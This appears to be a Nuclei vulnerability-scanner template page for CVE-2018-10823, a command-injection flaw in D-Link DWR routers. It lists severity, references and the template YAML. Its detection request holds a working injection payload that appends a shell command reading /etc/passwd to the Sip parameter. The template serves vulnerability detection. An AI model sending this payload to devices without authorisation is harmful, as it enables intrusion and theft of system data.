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D-Link Routers - Remote Command Injection

ID: CVE-2018-10823

Severity: high

Author: wisnupramoedya

Tags: cve,cve2018,rce,iot,dlink,router,edb,seclists

D-Link DWR-116 through 1.06, DWR-512 through 2.02, DWR-712 through 2.02, DWR-912 through 2.02, DWR-921 through 2.02, and DWR-111 through 1.01 device may allow an authenticated attacker to execute arbitrary code by injecting the shell command into the chkisg.htm page Sip parameter. This allows for full control over the device internals.

id: CVE-2018-10823
info:
name: D-Link Routers - Remote Command Injection
author: wisnupramoedya
severity: high
description: |
D-Link DWR-116 through 1.06, DWR-512 through 2.02, DWR-712 through 2.02, DWR-912 through 2.02, DWR-921 through 2.02, and DWR-111 through 1.01 device may allow an authenticated attacker to execute arbitrary code by injecting the shell command into the chkisg.htm page Sip parameter. This allows for full control over the device internals.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data theft, and complete compromise of the affected router.
remediation: |
Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
reference:
- https://www.exploit-db.com/exploits/45676
- https://nvd.nist.gov/vuln/detail/CVE-2018-10823
- https://seclists.org/fulldisclosure/2018/Oct/36
- http://sploit.tech/2018/10/12/D-Link.html
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2018-10823
cwe-id: CWE-78
epss-score: 0.96759
epss-percentile: 0.9967
cpe: cpe:2.3:o:dlink:dwr-116_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: dlink
product: dwr-116_firmware
tags: cve,cve2018,rce,iot,dlink,router,edb,seclists
http:
- method: GET
path:
- "{{BaseURL}}/chkisg.htm%3FSip%3D1.1.1.1%20%7C%20cat%20%2Fetc%2Fpasswd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a0046304402203bc87a4d99cb18f4dabe9e766f19849cdcc72433fe2830987c89ec98c908d3ff02200aeda432e002036d21c30745491c10a40e0eb9f0a6a4c8855a8983a049ecfe0d:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-10823.yaml"

View on Github